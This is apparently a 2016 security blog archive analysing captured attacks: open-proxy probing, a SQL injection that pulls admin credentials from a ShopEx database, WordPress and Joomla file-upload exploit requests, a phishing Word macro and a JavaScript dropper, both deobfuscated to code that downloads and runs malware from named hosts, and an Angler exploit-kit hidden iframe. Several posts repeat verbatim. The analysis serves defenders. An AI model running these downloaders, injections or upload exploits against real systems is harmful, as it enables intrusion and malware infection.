If you see any requests in your web logs, IDS, and WAF that have full urls in the HTTP GET request, you may wonder, what on earth is that?
GET http://testp4.pospr.waw.pl/testproxy.php
Typically you're probably used to see GET requests that look like this GET /default.php where the GET request takes a single page, not an entire url. But in the example highlighted above, you see an entire url. Why you may ask? This is just an attacker probing the internet looking for open proxies, or basically looking for a server that will make a web request on behalf of them. Thus an attacker could spam or perform a denial of service or many other malicious activities, but the requests would be proxied through or passed through another device so that the victim doesn't know who it's coming from. In this above example, the attacker will get a response back from your server. If the response is something like a 404 (page not found) or 503 (internal server error) then the attacker ignores and moves on, but if in the response the attacker actually got your server to return the contents of the embedded '.pl' top domain url then he's found an open proxy and can start funnelling is evil requests through it.
As long as you're hosting a normal legit website and don't have open proxy features or software enabled on your server then these requests are harmless to you.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Tuesday, May 31, 2016
SQL Injection Attack Sample
Saw this SQL Injection attempt, could not find much about it, so I thought I'd document it here a bit. I believe from some google searches, that this might be against a vulnerable e-Commerce system called ShopEx, and in particular against the ShopAdmin page in that suite, so perhaps against an administrative login page. The SQL injection POST attack sample is here. It appears to be against the sess_id parameter in the url of that request. It's a simple url GET request.
What you see is that they are passing a ' and (redacated) and '1'='1 which is typical SQL injection. Somebody on the back-end must be concatenating strings to build their SQL query instead of using parameterized queries. Thus the attacker is able to pass a single tick (') which will close the previous string (likely for session id) in the sql command and continue to re-write the SQL query by adding the conditional and keyword, some more sql code in parenthesis that I redacted for now, and finally the typicaly '1'='1 command where it's basically saying return all records no matter what the session id is.
The first thing you might be wondering though is what is the attacker's goal in a statement like this? Well to get at that we have to dig deeper into that redacted code, but for now I can tell you that they're trying to extract data from the database. They're not trying to write data, they're not trying to backdoor the system, etc. they just want data out of the database.
Inside that redacted code you'd see something like this select count(*), (redacted2) x from information_schema.tables group by x which is also commonly seen. This is a bit tricky to understand, but I blogged about it before and described it as SQLi Duplicate entry for key where the attacker will actually be able to extract data from the database via a exception error message. So no matter how the website administrator/developer is displaying or returning results (or maybe they aren't all) ... the attacker can always extract data with this method as long as SQL exception error messages are getting output to the error page. So the above code works because the code in the redacted2 portion will get displayed once for every table in the information_schema database, so assuming your database as more than 1 table, this is going to display the same redacted2 data multiple times, and since you're doing a group by SQL is going to throw and error/exception saying duplicate key, because you're trying to group by/display the same value multiple times which is not allowed.
Lucky for the attacker then, if the website is configured to display the error message generated, the attacker can control the error message and get it to actually display the data they want to extract. In this case ,the code inside redacted2 is select concat(userpass,0x7e,username,0x7e,op_id) from sdb_operators which you can see is the attacker trying to extract the username and password from the spdb_operators table, which likely is some sort of administrator that the attacker can then turn around and login to the shopadmin login page with and thus gain administrative access to the e-commerce site.
To prevent this, first of all the sql injection could be fixed with proper parameterized queries and input sanitization. But also public facing administration pages should be avoided or removed completely so that even if the attacker got the username and password it would be useless. If public facing administrative pages are needed, then at a minimal put in some IP filtering and other restrictions that prevent an attacker from logging into your admin page from anywhere except your known trusted ip ranges.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
What you see is that they are passing a ' and (redacated) and '1'='1 which is typical SQL injection. Somebody on the back-end must be concatenating strings to build their SQL query instead of using parameterized queries. Thus the attacker is able to pass a single tick (') which will close the previous string (likely for session id) in the sql command and continue to re-write the SQL query by adding the conditional and keyword, some more sql code in parenthesis that I redacted for now, and finally the typicaly '1'='1 command where it's basically saying return all records no matter what the session id is.
The first thing you might be wondering though is what is the attacker's goal in a statement like this? Well to get at that we have to dig deeper into that redacted code, but for now I can tell you that they're trying to extract data from the database. They're not trying to write data, they're not trying to backdoor the system, etc. they just want data out of the database.
Inside that redacted code you'd see something like this select count(*), (redacted2) x from information_schema.tables group by x which is also commonly seen. This is a bit tricky to understand, but I blogged about it before and described it as SQLi Duplicate entry for key where the attacker will actually be able to extract data from the database via a exception error message. So no matter how the website administrator/developer is displaying or returning results (or maybe they aren't all) ... the attacker can always extract data with this method as long as SQL exception error messages are getting output to the error page. So the above code works because the code in the redacted2 portion will get displayed once for every table in the information_schema database, so assuming your database as more than 1 table, this is going to display the same redacted2 data multiple times, and since you're doing a group by SQL is going to throw and error/exception saying duplicate key, because you're trying to group by/display the same value multiple times which is not allowed.
Lucky for the attacker then, if the website is configured to display the error message generated, the attacker can control the error message and get it to actually display the data they want to extract. In this case ,the code inside redacted2 is select concat(userpass,0x7e,username,0x7e,op_id) from sdb_operators which you can see is the attacker trying to extract the username and password from the spdb_operators table, which likely is some sort of administrator that the attacker can then turn around and login to the shopadmin login page with and thus gain administrative access to the e-commerce site.
To prevent this, first of all the sql injection could be fixed with proper parameterized queries and input sanitization. But also public facing administration pages should be avoided or removed completely so that even if the attacker got the username and password it would be useless. If public facing administrative pages are needed, then at a minimal put in some IP filtering and other restrictions that prevent an attacker from logging into your admin page from anywhere except your known trusted ip ranges.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
A File Upload Vulnerability barrage
I noticed a series of Wordpress/Joomla file upload attacks from a single IP address / attacker in a short period of time. Some of the requests were listed here. What I found interesting was not the fact that most were well known Wordpress vulnerabilities that are still unpatched by many web administrators. What I found interesting was the methodology of the malicious actor. It's likely what they have written is some sort of script/automated scanning tool, perhaps even a botnet or something that is doing this automatically. I envision that the code/script doing this probably has an array or list of well known Wordpress file upload vulnerabilities. It's probably a flexible dynamic list so that as soon as the attacker hear's about a new Wordpress file upload vulnerabilty, he can literally just add a URL path and a post parameter for the file name, and the script/botnet will probably just start scanning and attacking the internet trying to upload malicious files. Then there is likely a follow-up script that runs shortly after that connects to the uploaded backdoors and validates which ones were successful or not. In all the cases below the attacker uploads the same malicious file/name upfilees.php so that the attacker can easily go back later and determine if this was a device they compromised or not. The backdoor is probably a web shell that gives them full access to the web server's file system and the ability to run commands against the web server. Below I did my best to research a few of the attacks seen in this cycle and explain a bit.
yiw_contact[]=upfilees.php
yiw_action=sendemail
In the above HTTP Post, there were 2 parameters that started with yiw. This indicates that the attacker is likely trying to explpoit the Beauty & Clean Theme File Upload Wordpress Vulnerability which is literally as simple as posting your backdoor file to the contact field via the sendmail action. If it succeeds, your file has been uploaded to the web server.
POST/uploadify/uploadify.php
Filedata=upfilees.php
In the next HTTP Post, the attacker is likely attempting to exploit the Event Calendar Arbitrary Wordpress File Upload Vulnerability which is also as simple as passing the file you wanted uploaded as a post parameter to the uploadify.php page. Again, if successful, the attacker just uploaded a php web page to your server and can now do whatever they please.
POST/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/&type=file&feid=&obfuscate=&sessidpass=
Filedata=upfilees.php.suspected
Filename=send.php.suspected
In the next HTTP Post, the attacker is trying to exploit the tinybrowser Remote File Upload Joomla Vulnerability which is another simple vulnerability that involves posting the file you want uploaded as a parameter to the upload_file.php page. We're getting a bit repetitive and non-creative in these vulnerabilities, aren't we?
update_file=upfilees.php
action=revslider_ajax_action
In the next HTTP Post, the attacker is trying to exploit the RevSlider Wordpress File Upload Vulnerability which again requires nothing more than chosing the right action parameter and posting the file, and guess what the web server will be compromised with a nice php backdoor. Oops.
POST /sites/all/libraries/elfinder/php/connector.minimal.php
upload[]=upfilees.php
cmd=upload
In the next HTTP Post, the attacker appears to just be looking for poorly configured systems that have purposely enabled the ELFinder File Manager feature which allows you to remotely manage your web server's file system. Hmmm, can that be exploited? Yep, just post the upload command and your backdoor, and the attacker is in business.
POST /license.php
filename=upfilees.php
The final attack, I believe may be just a standard filename/location that certain attackers or botnets use to exploit systems. They probably exploited this server at some point, and added a backdoor called 'license.php' which allows arbirary file upload. So this attacker is just taking advantage of another attacker's prior compromise of this device. Easy pickings if it exists.
Wordpress & Joomla plugins should not be trusted (like anything else for that matter) and should only be added if absolutely needed. If you do need them, then you better be certain to keep them patched and updated. If you have a plugin that is really not necessary, please, please, please remove those extraneous plugins as otherwise they're going to open up huge ugly gaping holes in your security posture.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
yiw_contact[]=upfilees.php
yiw_action=sendemail
In the above HTTP Post, there were 2 parameters that started with yiw. This indicates that the attacker is likely trying to explpoit the Beauty & Clean Theme File Upload Wordpress Vulnerability which is literally as simple as posting your backdoor file to the contact field via the sendmail action. If it succeeds, your file has been uploaded to the web server.
POST/uploadify/uploadify.php
Filedata=upfilees.php
In the next HTTP Post, the attacker is likely attempting to exploit the Event Calendar Arbitrary Wordpress File Upload Vulnerability which is also as simple as passing the file you wanted uploaded as a post parameter to the uploadify.php page. Again, if successful, the attacker just uploaded a php web page to your server and can now do whatever they please.
POST/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/&type=file&feid=&obfuscate=&sessidpass=
Filedata=upfilees.php.suspected
Filename=send.php.suspected
In the next HTTP Post, the attacker is trying to exploit the tinybrowser Remote File Upload Joomla Vulnerability which is another simple vulnerability that involves posting the file you want uploaded as a parameter to the upload_file.php page. We're getting a bit repetitive and non-creative in these vulnerabilities, aren't we?
update_file=upfilees.php
action=revslider_ajax_action
In the next HTTP Post, the attacker is trying to exploit the RevSlider Wordpress File Upload Vulnerability which again requires nothing more than chosing the right action parameter and posting the file, and guess what the web server will be compromised with a nice php backdoor. Oops.
POST /sites/all/libraries/elfinder/php/connector.minimal.php
upload[]=upfilees.php
cmd=upload
In the next HTTP Post, the attacker appears to just be looking for poorly configured systems that have purposely enabled the ELFinder File Manager feature which allows you to remotely manage your web server's file system. Hmmm, can that be exploited? Yep, just post the upload command and your backdoor, and the attacker is in business.
POST /license.php
filename=upfilees.php
The final attack, I believe may be just a standard filename/location that certain attackers or botnets use to exploit systems. They probably exploited this server at some point, and added a backdoor called 'license.php' which allows arbirary file upload. So this attacker is just taking advantage of another attacker's prior compromise of this device. Easy pickings if it exists.
Wordpress & Joomla plugins should not be trusted (like anything else for that matter) and should only be added if absolutely needed. If you do need them, then you better be certain to keep them patched and updated. If you have a plugin that is really not necessary, please, please, please remove those extraneous plugins as otherwise they're going to open up huge ugly gaping holes in your security posture.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Email Attachment Word Doc with VBA
I recently saw an email in French that was phishing a user to click on an invoice. The email looked like this below (I attempted to google translate to english also).
Subject: COPIE FACTURE + JUSTIFICATIFS
Subject: INVOICE COPY + SUPPORTING
Body:
Bonjour,
Ci-joint la copie de notre facture XXXXXXX du YYYYYYY de ZZZZZ avec ses justificatifs.
Dans lattente de son rglement,
Je vous remercie.
Body:
Hello,
Attached a copy of your invoice XXXXXXX of YYYYYYY from ZZZZZ with supporting.
Pending in its regulation,
Thank you,
The email had a 1997 old Microsoft Word attachment with a VBA script inside that contained this code. I thought I'd walk through and de-obfuscate some of the code for you.
Sub autoopen()
The VBA script, as seen above, will run as soon as the user opens the Word Document and if macros are enabled.
HNJVZn = 2468
Do While HNJVZn < 2468 + 10
HNJVZn = HNJVZn + 1: DoEvents
Loop
In this VBA script there are probably 15 or so instances of do while loops like the one above. These are all useless obfuscation by the attacker meant to distract you from what's really going on. Each of these loops, if you were to de-obfuscate, essentially is doing nothing. It's kinda like a for loop that pauses the program for fractions of a second. You can see that the variable is set to 2468 and then incremented 1 time through each for loop for 10 times. Each time it's running the DoEvents function which is almost like the NoOp (no operations) function. Read here for more information on the VBA script DoEvents function.
Shell mmJhasvxjdUs.TextBox1 + mmJhasvxjdUs.TextBox2 + mmJhasvxjdUs.TextBox3 + mmJhasvxjdUs.TextBox4 + mmJhasvxjdUs.TextBox5 + mmJhasvxjdUs.TextBox6 + mmJhasvxjdUs.TextBox7 + mmJhasvxjdUs.TextBox8 + mmJhasvxjdUs.TextBox9 + mmJhasvxjdUs.TextBox10 + mmJhasvxjdUs.TextBox11 + mmJhasvxjdUs.TextBox12 + mmJhasvxjdUs.TextBox13, vbHide
So if we were to strip out all the useless do while loops mentioned above, this program then literally comes down to 1 single command, that's it. It's the VB Script Shell command. And as you can see, in the Microsoft Word document itself there must be 13 textboxes, each filled with a string value. This attacker is simply grabbing those 13 textbox values, concatenating them together, and running the command at the Shell Prompt of a hidden (vbHide) command shell prompt (cmd.exe). If I were to run the program "strings" or analyze the word document in another safe manner, I could quickly find out what the values in the textbox are. This is a nice method of obfuscation though for the attacker, to put the values in Textboxes, because automated Macro extraction tools like OfficeMalScanner for example are not going to by default extract for you the payload values, such as the command prompts executed, the urls detected, etc. since they're in GUI objects like textboxes. Here are the values I found.
Pow
erShell -NoExit -ExecutionPolicy bypa
ss -noprofile (New-Obje
ct System.Net.We
bClient).Downloa
dFile('
http://asp.councilldentalassociates.com/brodyaga/u312n/download.php
','%TEM
P%\arab.pif');Sta
rt-Process '%TEM
P%\arab.pif';
So if you concanate all those textbox values together you get the following command
PowerShell -NoExit -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://asp.councilldentalassociates.com/brodyaga/u312n/download.php','%TEMP%\arab.pif');
Start-Process '%TEMP%\arab.pif';
So from above you can see that this Microsoft Word document is executing a Powershell command. It's passing the NoExit parameter which means that after it executes the command it should leave the cmd.exe prompt open so that another command can be executed (in this case the Start-Process command would be next). The ExecutionPolicy of the powershell script is set to bypass which means nothing will be blocked and no prompts given, thus silently in the background to infect the user without their knowledge. The attacker also chooses the powershell noprofile option which allows the powershell prompt to be created and run the script and an empty untouched untainted shell. If they don't include this parameter, then all the user's custom scripts or corporate scripts would run first prior to this execution and the attacker's script might fail then because of some setting or dependency configured at startup. Finally the powershell script gets to the actual command to be executed, which is created a new WebClient object, which allows the victim's workstation to reach out over port 80 on the internet to the malicious url (the php link above), except this is no ordinary web page or php file, it's actually a binary file that will be downloaded and saved to the victim's temp folder as arab.pif. Finally, as mentioned earlier, that arab.pif file is executed (the equivalent of the user double-clicking it, except this happens behind the scenes with no user interaction). PIF files can contain hidden executable modules, for instance, BAT, EXE or COM programs that will be automatically executed after the host file is run, thus once this is executed the attacker has code execution on the workstation and you can consider it game over as there is probably some form of malware, ransomware, or other non-sense on this box. Time to re-image again.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Subject: COPIE FACTURE + JUSTIFICATIFS
Subject: INVOICE COPY + SUPPORTING
Body:
Bonjour,
Ci-joint la copie de notre facture XXXXXXX du YYYYYYY de ZZZZZ avec ses justificatifs.
Dans lattente de son rglement,
Je vous remercie.
Body:
Hello,
Attached a copy of your invoice XXXXXXX of YYYYYYY from ZZZZZ with supporting.
Pending in its regulation,
Thank you,
The email had a 1997 old Microsoft Word attachment with a VBA script inside that contained this code. I thought I'd walk through and de-obfuscate some of the code for you.
Sub autoopen()
The VBA script, as seen above, will run as soon as the user opens the Word Document and if macros are enabled.
HNJVZn = 2468
Do While HNJVZn < 2468 + 10
HNJVZn = HNJVZn + 1: DoEvents
Loop
In this VBA script there are probably 15 or so instances of do while loops like the one above. These are all useless obfuscation by the attacker meant to distract you from what's really going on. Each of these loops, if you were to de-obfuscate, essentially is doing nothing. It's kinda like a for loop that pauses the program for fractions of a second. You can see that the variable is set to 2468 and then incremented 1 time through each for loop for 10 times. Each time it's running the DoEvents function which is almost like the NoOp (no operations) function. Read here for more information on the VBA script DoEvents function.
Shell mmJhasvxjdUs.TextBox1 + mmJhasvxjdUs.TextBox2 + mmJhasvxjdUs.TextBox3 + mmJhasvxjdUs.TextBox4 + mmJhasvxjdUs.TextBox5 + mmJhasvxjdUs.TextBox6 + mmJhasvxjdUs.TextBox7 + mmJhasvxjdUs.TextBox8 + mmJhasvxjdUs.TextBox9 + mmJhasvxjdUs.TextBox10 + mmJhasvxjdUs.TextBox11 + mmJhasvxjdUs.TextBox12 + mmJhasvxjdUs.TextBox13, vbHide
So if we were to strip out all the useless do while loops mentioned above, this program then literally comes down to 1 single command, that's it. It's the VB Script Shell command. And as you can see, in the Microsoft Word document itself there must be 13 textboxes, each filled with a string value. This attacker is simply grabbing those 13 textbox values, concatenating them together, and running the command at the Shell Prompt of a hidden (vbHide) command shell prompt (cmd.exe). If I were to run the program "strings" or analyze the word document in another safe manner, I could quickly find out what the values in the textbox are. This is a nice method of obfuscation though for the attacker, to put the values in Textboxes, because automated Macro extraction tools like OfficeMalScanner for example are not going to by default extract for you the payload values, such as the command prompts executed, the urls detected, etc. since they're in GUI objects like textboxes. Here are the values I found.
Pow
erShell -NoExit -ExecutionPolicy bypa
ss -noprofile (New-Obje
ct System.Net.We
bClient).Downloa
dFile('
http://asp.councilldentalassociates.com/brodyaga/u312n/download.php
','%TEM
P%\arab.pif');Sta
rt-Process '%TEM
P%\arab.pif';
So if you concanate all those textbox values together you get the following command
PowerShell -NoExit -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://asp.councilldentalassociates.com/brodyaga/u312n/download.php','%TEMP%\arab.pif');
Start-Process '%TEMP%\arab.pif';
So from above you can see that this Microsoft Word document is executing a Powershell command. It's passing the NoExit parameter which means that after it executes the command it should leave the cmd.exe prompt open so that another command can be executed (in this case the Start-Process command would be next). The ExecutionPolicy of the powershell script is set to bypass which means nothing will be blocked and no prompts given, thus silently in the background to infect the user without their knowledge. The attacker also chooses the powershell noprofile option which allows the powershell prompt to be created and run the script and an empty untouched untainted shell. If they don't include this parameter, then all the user's custom scripts or corporate scripts would run first prior to this execution and the attacker's script might fail then because of some setting or dependency configured at startup. Finally the powershell script gets to the actual command to be executed, which is created a new WebClient object, which allows the victim's workstation to reach out over port 80 on the internet to the malicious url (the php link above), except this is no ordinary web page or php file, it's actually a binary file that will be downloaded and saved to the victim's temp folder as arab.pif. Finally, as mentioned earlier, that arab.pif file is executed (the equivalent of the user double-clicking it, except this happens behind the scenes with no user interaction). PIF files can contain hidden executable modules, for instance, BAT, EXE or COM programs that will be automatically executed after the host file is run, thus once this is executed the attacker has code execution on the workstation and you can consider it game over as there is probably some form of malware, ransomware, or other non-sense on this box. Time to re-image again.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Javascript Attachment executing a Payload
Saw the following malicious email this week. The subject was "Internal Company Information Notice". The body of the email told the user that their IP address had been blocked and they need to acknowledge the email attachment or get disconnected from their services. The attachment was a zip file that contained a Javascript file inside. If the user were to extract the zip and execute the javascript file, a malicious executable would be downloaded and executed on the workstation. The javascript was heavily obfuscated, as you can see from this original javascript code. I reviewed and de-obfuscated the Javascript to get the following. I thought I'd walk through the code to give you an idea of what a lot of these attachments are doing. First, if you look at the link above, the obfuscated code contains tons of variables that are unreabled. As an example, this variable below is obsfucated.
var xDYcEgLL = "061013030014053014007007000013";
When you de-obfuscate it it turns into a string that says "SaveToFile". As it standard with these malicious actors, they have a de-obfuscate function that simply decodes these ugly variables into readable javascript code. So you can simply call the method, in this case the function below
function phdODK(BDxzUxp)
And it will decode all the variables and you can quickly get an idea of what the malicious actor is trying to accomplish.
In this case I de-obfuscated the code and came up with this pseudo code of what the attacker is doing.
var xmlReq = new ActiveXObject("MSXML2.XMLHTTP");
xmlReq["open"]("GET", "http://rondels.com/media/gallery/1.exe", 0);
xmlReq["send"]();
if (xmlReq["Status"] == 200) {
var fileStream = new ActiveXObject("ADODB.Stream");
fileStream["Open"]();
fileStream["Type"] = 1;
fileStream["Write"](xmlReq["ResponseBody"]);
fileStream["Position"] = 0;
var fileObj = new ActiveXObject("Scripting.FileSystemObject");
fileStream["SaveToFile"](fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"]());
fileStream["Close"]();
var cmdPrompt = new ActiveXObject("WScript.Shell");
cmdPrompt["run"]("cmd.exe /c " + fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"](), 0);
}
I'll go line by line through the javascript.
var xmlReq = new ActiveXObject("MSXML2.XMLHTTP");
xmlReq["open"]("GET", "http://rondels.com/media/gallery/1.exe", 0);
xmlReq["send"]();
if (xmlReq["Status"] == 200)
The attacker needs a way to download their malicious payload (for example their ransomware executable). To do so they utilize the Microsoft ActiveX object for XMLHttpRequests. This means that this attack the way it's currently written is only going to work if the user opens it from a Windows desktop or something that support ActiveX. Then he opens he sends a request to open the malicious url with the executable. The 0 parameter means that it's a synchronous call, so the code will wait for the download to complete before proceeding. Only if the download is successful (response code = 200) will it proceed to the next steps.
var fileStream = new ActiveXObject("ADODB.Stream");
fileStream["Open"]();
fileStream["Type"] = 1;
fileStream["Write"](xmlReq["ResponseBody"]);
fileStream["Position"] = 0;
var fileObj = new ActiveXObject("Scripting.FileSystemObject");
fileStream["SaveToFile"](fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"]());
fileStream["Close"]();
Next the attacker needs a way to interact with the victims workstation, and in particular with the file system on the victim's workstation, meaning typically their C drive. So they open another ActiveX Object (ADO) for Files (called a Stream). This file will then be opened as a binary file (Type = 1) starting at the beginning of the file (Position = 0) and will write the executable downloaded from the malicious URL into that binary file. The file will then get saved to the temporary folder using the GetSpecialFolder method (#2 = temporary folder). The name of the file getting saved it actually randomly generated by the operating system using the GetTempName method out of the Scripting.FileSystemObject object.
var cmdPrompt = new ActiveXObject("WScript.Shell");
cmdPrompt["run"]("cmd.exe /c " + fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"](), 0);
Finally the attacker has successfully connected to a website, downloaded an executable, saved it as a binary file in the victim's temp folder, and now the attacker is going to use a Wscript.Shell object to execute the new binary file on the command line (cmd.exe). One this happens it's game over for the victim as we now have code execution. All because a user did not spot a phishing email with a malicious attachment but instead clicked through. Time to re-image this workstation.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
var xDYcEgLL = "061013030014053014007007000013";
When you de-obfuscate it it turns into a string that says "SaveToFile". As it standard with these malicious actors, they have a de-obfuscate function that simply decodes these ugly variables into readable javascript code. So you can simply call the method, in this case the function below
function phdODK(BDxzUxp)
And it will decode all the variables and you can quickly get an idea of what the malicious actor is trying to accomplish.
In this case I de-obfuscated the code and came up with this pseudo code of what the attacker is doing.
var xmlReq = new ActiveXObject("MSXML2.XMLHTTP");
xmlReq["open"]("GET", "http://rondels.com/media/gallery/1.exe", 0);
xmlReq["send"]();
if (xmlReq["Status"] == 200) {
var fileStream = new ActiveXObject("ADODB.Stream");
fileStream["Open"]();
fileStream["Type"] = 1;
fileStream["Write"](xmlReq["ResponseBody"]);
fileStream["Position"] = 0;
var fileObj = new ActiveXObject("Scripting.FileSystemObject");
fileStream["SaveToFile"](fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"]());
fileStream["Close"]();
var cmdPrompt = new ActiveXObject("WScript.Shell");
cmdPrompt["run"]("cmd.exe /c " + fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"](), 0);
}
I'll go line by line through the javascript.
var xmlReq = new ActiveXObject("MSXML2.XMLHTTP");
xmlReq["open"]("GET", "http://rondels.com/media/gallery/1.exe", 0);
xmlReq["send"]();
if (xmlReq["Status"] == 200)
The attacker needs a way to download their malicious payload (for example their ransomware executable). To do so they utilize the Microsoft ActiveX object for XMLHttpRequests. This means that this attack the way it's currently written is only going to work if the user opens it from a Windows desktop or something that support ActiveX. Then he opens he sends a request to open the malicious url with the executable. The 0 parameter means that it's a synchronous call, so the code will wait for the download to complete before proceeding. Only if the download is successful (response code = 200) will it proceed to the next steps.
var fileStream = new ActiveXObject("ADODB.Stream");
fileStream["Open"]();
fileStream["Type"] = 1;
fileStream["Write"](xmlReq["ResponseBody"]);
fileStream["Position"] = 0;
var fileObj = new ActiveXObject("Scripting.FileSystemObject");
fileStream["SaveToFile"](fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"]());
fileStream["Close"]();
Next the attacker needs a way to interact with the victims workstation, and in particular with the file system on the victim's workstation, meaning typically their C drive. So they open another ActiveX Object (ADO) for Files (called a Stream). This file will then be opened as a binary file (Type = 1) starting at the beginning of the file (Position = 0) and will write the executable downloaded from the malicious URL into that binary file. The file will then get saved to the temporary folder using the GetSpecialFolder method (#2 = temporary folder). The name of the file getting saved it actually randomly generated by the operating system using the GetTempName method out of the Scripting.FileSystemObject object.
var cmdPrompt = new ActiveXObject("WScript.Shell");
cmdPrompt["run"]("cmd.exe /c " + fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"](), 0);
Finally the attacker has successfully connected to a website, downloaded an executable, saved it as a binary file in the victim's temp folder, and now the attacker is going to use a Wscript.Shell object to execute the new binary file on the command line (cmd.exe). One this happens it's game over for the victim as we now have code execution. All because a user did not spot a phishing email with a malicious attachment but instead clicked through. Time to re-image this workstation.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Friday, May 27, 2016
Angler, GZIP, and a Landing Page
The Malware Traffic Analysis blog is awesome, it contains many live samples of malicious traffic for your inspecting pleasure. Today I thought I'd share some basics of how to read one of them. ANGLER EK SENDS UPDATED VERSION OF CRYPTXXX RANSOMWARE was a recent blog post he did. If you were to open up the PCAPs in wireshark you'd see a call to a javascript file.
If you were to follow the tcp stream
The red text is the request. So victim's machine made a request to get the following javascript file hxxp://word.bhandaridinesh.com.np/view.js
The blue text is the response of the infected web server. But just from viewing the tcp stream above, you probably have no clue what it's doing, right? You can tell it's javascript because of Content-Type: text/javascript. But it's unreadable currently because it's gzip encoded (Content-Encoding: gzip). The solution in wireshark to reading the packets is to File->Export Objects->HTTP.
This will list out all HTTP objects (like javascript files, css files, word documents, or whatever else was downloaded or transferred).
In this case, you want the view.js file so select it and hit Save. Then open it in your text editor of choice. Boom! That looks like javascript that you can read.
The actual content in this case was
document.write(' <div id="39209" style="width: 278px; height: 264px; position: absolute; left:-452px; top: -409px;"> <iframe src="http://luszniewicz.virtual-linux.net/questions/644276/qEdJLS-bSFWO-pXydb-ZEfahaWdC-" width=209 height=206 > </i'+'frame> </div>');
As you can tell above this is using javascript code to write some new HTML elements to the page that the user is currently on. In this case it's creating a DIV tag which is positions well off the screen (see the negative values for left and top position). Inside the DIV tage is the dreaded iframe. This means that code from an outside website it going to be injected/loaded into the website you're currently on. This could of course be prevented with some solid Content Security Policies using headers like X-Frame-Options to restrict which (if any) sites are allowed to load on your site from an iframe. In this case the url that user is being redirected to is the Angler Exploit kit per the blogger mentioned above. You can see that in the next HTTP object in wireshark.
If you save the object and open in your favorite text editor you'll see an HTML page that if you're in the security field you're used to seeing. It's a bunch of random gibberish sentences that make no sense. It's kinda like the Angler Exploit kit's unique calling card, pretty easy to spot by the naked eye, yet pretty tricky for an automated Security tool to spot since there's not many similarities from one landing page to the other because all the text and code is essentially obfuscated and randomized.
If you scroll down far enough you'll find Javascript tags that are heavily obfuscated and near impossible to read at first glance.
And eventually if you scroll enough you'll see a collection of Javascript variables in the Angler Exploit kit. This is actually the core data. If you're able to decrypt these variables you're able to see where the payload urls are pulling the malware/viruses from.
If you're comfortable with javascript and know what you're doing it's not very hard to complete this process. If you're not familiar with javascript or this whole process, you have to be careful, because if you accidentally execute this javascript or download the resulting urls you may wind up infecting the device you're on. So to be extra cautious you probably want to spin up a disposable virtual machine not connected to the internet at all that you can analyze this javascript in.
Then my personal preference short of using some automated scripts that security researchers have written, would be to carve out the javascript from the html page and save it in a separate file. Then the keys to being successful are to remove the javascript code that looks like it's going to be executing Active X or XML Request or other malicious calls. For example, this code may seem harmless
LqejPHhTcQlxj[HfNjIsqnJo]("kOWwE-PH2t-blQrTRBsQZaur");
But if put together with all the other obfuscated code higher up in the file, my guess is this is a call to a malicious object such as an ActiveX or XMLHttpRequest object meaning it could try to download a file , save it to your c drive, or execute a file. So lines of code like this may need to be comment out or replaced with simpler things such as alert popup boxes or console debug statements so that you can print out the values without actually executing them. The main thing we're typically after though is those payload urls, where are they going to download the malicious executable? To determine that you need that block of variables I mentioned above, plus you need the "decrypt" function which is buried in the javascript somewhere. I typically identify it as the function with the most for loops in it! Thus something like below to me indicates that JDUXLD might be the decrypt function.
Thus if you can rip out all the other javascript except essentially for those variables and this decrypt function you can simply execute javascript that decrypts the variables but doesn't actually execute any malicious code.
So you might end up with some debug statements like this
That may spit out the url that delivers the payload into the debug console. Now that you've got that information, you can inspect that malicious content in your lab, submit it to your sandbox platform, or whatever your next steps are.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
If you were to follow the tcp stream
The red text is the request. So victim's machine made a request to get the following javascript file hxxp://word.bhandaridinesh.com.np/view.js
The blue text is the response of the infected web server. But just from viewing the tcp stream above, you probably have no clue what it's doing, right? You can tell it's javascript because of Content-Type: text/javascript. But it's unreadable currently because it's gzip encoded (Content-Encoding: gzip). The solution in wireshark to reading the packets is to File->Export Objects->HTTP.
This will list out all HTTP objects (like javascript files, css files, word documents, or whatever else was downloaded or transferred).
In this case, you want the view.js file so select it and hit Save. Then open it in your text editor of choice. Boom! That looks like javascript that you can read.
The actual content in this case was
document.write(' <div id="39209" style="width: 278px; height: 264px; position: absolute; left:-452px; top: -409px;"> <iframe src="http://luszniewicz.virtual-linux.net/questions/644276/qEdJLS-bSFWO-pXydb-ZEfahaWdC-" width=209 height=206 > </i'+'frame> </div>');
